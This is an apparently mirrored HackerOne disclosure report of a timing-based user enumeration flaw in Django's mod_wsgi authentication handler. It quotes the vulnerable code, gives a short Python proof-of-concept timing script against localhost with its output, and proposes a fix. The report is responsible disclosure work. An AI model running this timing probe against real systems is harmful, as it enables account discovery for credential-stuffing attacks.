HexBrain

Django · Report #3424977

User enumeration via timing attack in Django mod_wsgi authentication backend leads to account discovery

Validstatus
62upvotes
4 Feb 2026disclosed

How it was found

User enumeration via timing attack when using mod_wsgi authentication backend

Hi Django Security Team,

Issue Description

The vulnerability exists in the check_password function in django/contrib/auth/handlers/modwsgi.py. When a non-existent username is provided, the function returns immediately without performing password verification:

def check_password(environ, username, password):
    """
    Authenticate against Django's auth database.

    mod_wsgi docs specify None, True, False as return value depending
    on whether the user exists and authenticates.
    """
    # db connection state is managed similarly to the wsgi handler
    # as mod_wsgi may call these functions outside of a request/response cycle
    db.reset_queries()
    try:
        try:
            user = UserModel._default_manager.get_by_natural_key(username)
        except UserModel.DoesNotExist:
            return None
        if not user.is_active:
            return None
        return user.check_password(password)
    finally:
        db.close_old_connections()

Steps to Reproduce

  1. Launch the provided docker container to setup the testing environment. I tried to follow the official documentation to build this environment.
docker build -t django-apache-auth .
docker run --rm -it -p 8000:80 django-apache-auth
  1. Run the following Python script:
import requests
from requests.auth import HTTPBasicAuth

url = "http://localhost:8000/secret"
username = "admin"
password = "notthepassword"

#warmup
response = requests.get(url, auth=HTTPBasicAuth(username, password))
response = requests.get(url, auth=HTTPBasicAuth(username, password))

# slow response
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)

# fast response
username = "nonexistant"
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)

# fast response
username = "nonexistant"
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)

# slow response
username = "admin"
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)

The script produces output similar to:

379669
3090
2347
236157

This clearly demonstrates that authentication attempts with existing usernames (admin) take significantly longer than attempts with non-existent usernames.

Impact

This timing attack allows attackers to enumerate valid usernames in the system, which can be used as a stepping stone for further attacks such as credential stuffing or brute force attempts focused on known valid accounts.

Remediation

I suggest applying the same counter-measure implemented in the other authentication backend, namely calling UserModel().set_password(password) before returning None :

def check_password(environ, username, password):
    """
    Authenticate against Django's auth database.

    mod_wsgi docs specify None, True, False as return value depending
    on whether the user exists and authenticates.
    """
    # db connection state is managed similarly to the wsgi handler
    # as mod_wsgi may call these functions outside of a request/response cycle
    db.reset_queries()
    try:
        try:
            user = UserModel._default_manager.get_by_natural_key(username)
        except UserModel.DoesNotExist:
            UserModel().set_password(password)
            return None
        if not user.is_active:
            UserModel().set_password(password)
            return None
        return user.check_password(password)
    finally:
        db.close_old_connections()

With this fix implemented, the previous PoC produces results like this:

339185
340059
342360
342630

Demonstrating that it fixes the vulnerability.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original